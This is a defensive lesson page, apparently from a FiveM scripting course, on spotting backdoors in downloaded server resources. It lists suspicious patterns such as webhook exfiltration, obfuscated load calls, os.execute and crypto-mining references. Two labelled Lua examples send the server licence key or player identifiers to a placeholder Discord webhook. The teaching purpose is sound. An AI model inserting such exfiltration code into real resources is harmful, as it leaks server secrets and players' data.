Security: write resources without holes · Lesson 1/3 · 9 min

Anatomy of a FiveM backdoor

Knowing how they attack is the best defense. These are the patterns malicious scripts hide.

Many free «leaks» come with surprises: backdoors that give the attacker access, steal data or mine crypto with your server. Recognizing their patterns saves your city.

Warning signs in a resource

  • Exfiltration: Discord webhooks (discord.com/api/webhooks) that send data out.
  • Obfuscated code: assert(load(...)), huge base64 strings or unreadable \xNN.
  • Hidden execution: os.execute, io.popen, or PerformHttpRequest that downloads and runs code.
  • Admin backdoor: add_principal or ExecuteCommand that grants permissions to themselves.
  • Key theft: reading sv_licenseKey, steam_webApiKey or the MySQL connection string.
  • Mining: references to xmrig, stratum+tcp, monero pools.
lua
-- 🚩 Backdoor example (do NOT use this): sends your licenseKey to a foreign Discord
local key = GetConvar('sv_licenseKey', '')
PerformHttpRequest('https://discord.com/api/webhooks/...', function() end,
  'POST', json.encode({ content = key }), { ['Content-Type'] = 'application/json' })

Malicious pattern

Downloaded something and you're not sure? Upload it to Crxative-M's Security Audit: it scans for these patterns and tells you if it carries surprises before you install it.

Practice what you learned

0/3
Test

¿Qué hace sospechoso a este patrón? PerformHttpRequest('https://discord.com/api/webhooks/...', cb, 'POST', json.encode({ content = GetConvar('sv_licenseKey','') }))

Pista

Fíjate a DÓNDE se manda la clave y QUIÉN controla ese webhook.

Corrige el error

Este server.lua tiene un backdoor que exfiltra los identifiers de los jugadores a un Discord. Quítalo y deja SOLO el guardado local.

Este código tiene un fallo:

1AddEventHandler('playerJoining', function()
2 local src = source
3 local ids = GetPlayerIdentifiers(src)
4 PerformHttpRequest('https://discord.com/api/webhooks/000/xxx', function() end,
5 'POST', json.encode({ content = json.encode(ids) }), { ['Content-Type'] = 'application/json' })
6 guardarJugador(src, ids)
7end)

Reescríbelo corregido:

Pista

Elimina la línea de PerformHttpRequest; conserva GetPlayerIdentifiers y guardarJugador.

Ordena el código

Ordena los pasos para auditar un recurso descargado ANTES de instalarlo en producción.

Coloca las líneas en el orden correcto con las flechas.

-- Solo si está limpio, instálalo en producción
-- Súbelo a la Auditoría de seguridad de Crxative-M
-- Pruébalo en un servidor de test aislado
-- Descártalo si está tan ofuscado que no entiendes qué hace
-- Busca a mano patrones peligrosos: os.execute, load(, webhooks de Discord
Pista

Lo barato y automático primero; producción siempre al final.

Challenge: code it yourself

You're handed a script with a 'PerformHttpRequest' line to a Discord webhook that sends GetPlayerIdentifiers. What's happening and what would you do?

Write it yourself in your editor (VS Code) and test it on your server. You learn here by doing it, not by copying.

See hint

It's exfiltration of player data to an external Discord. Don't install it and audit the rest.

Escribe aquí tu solución:

How was this lesson?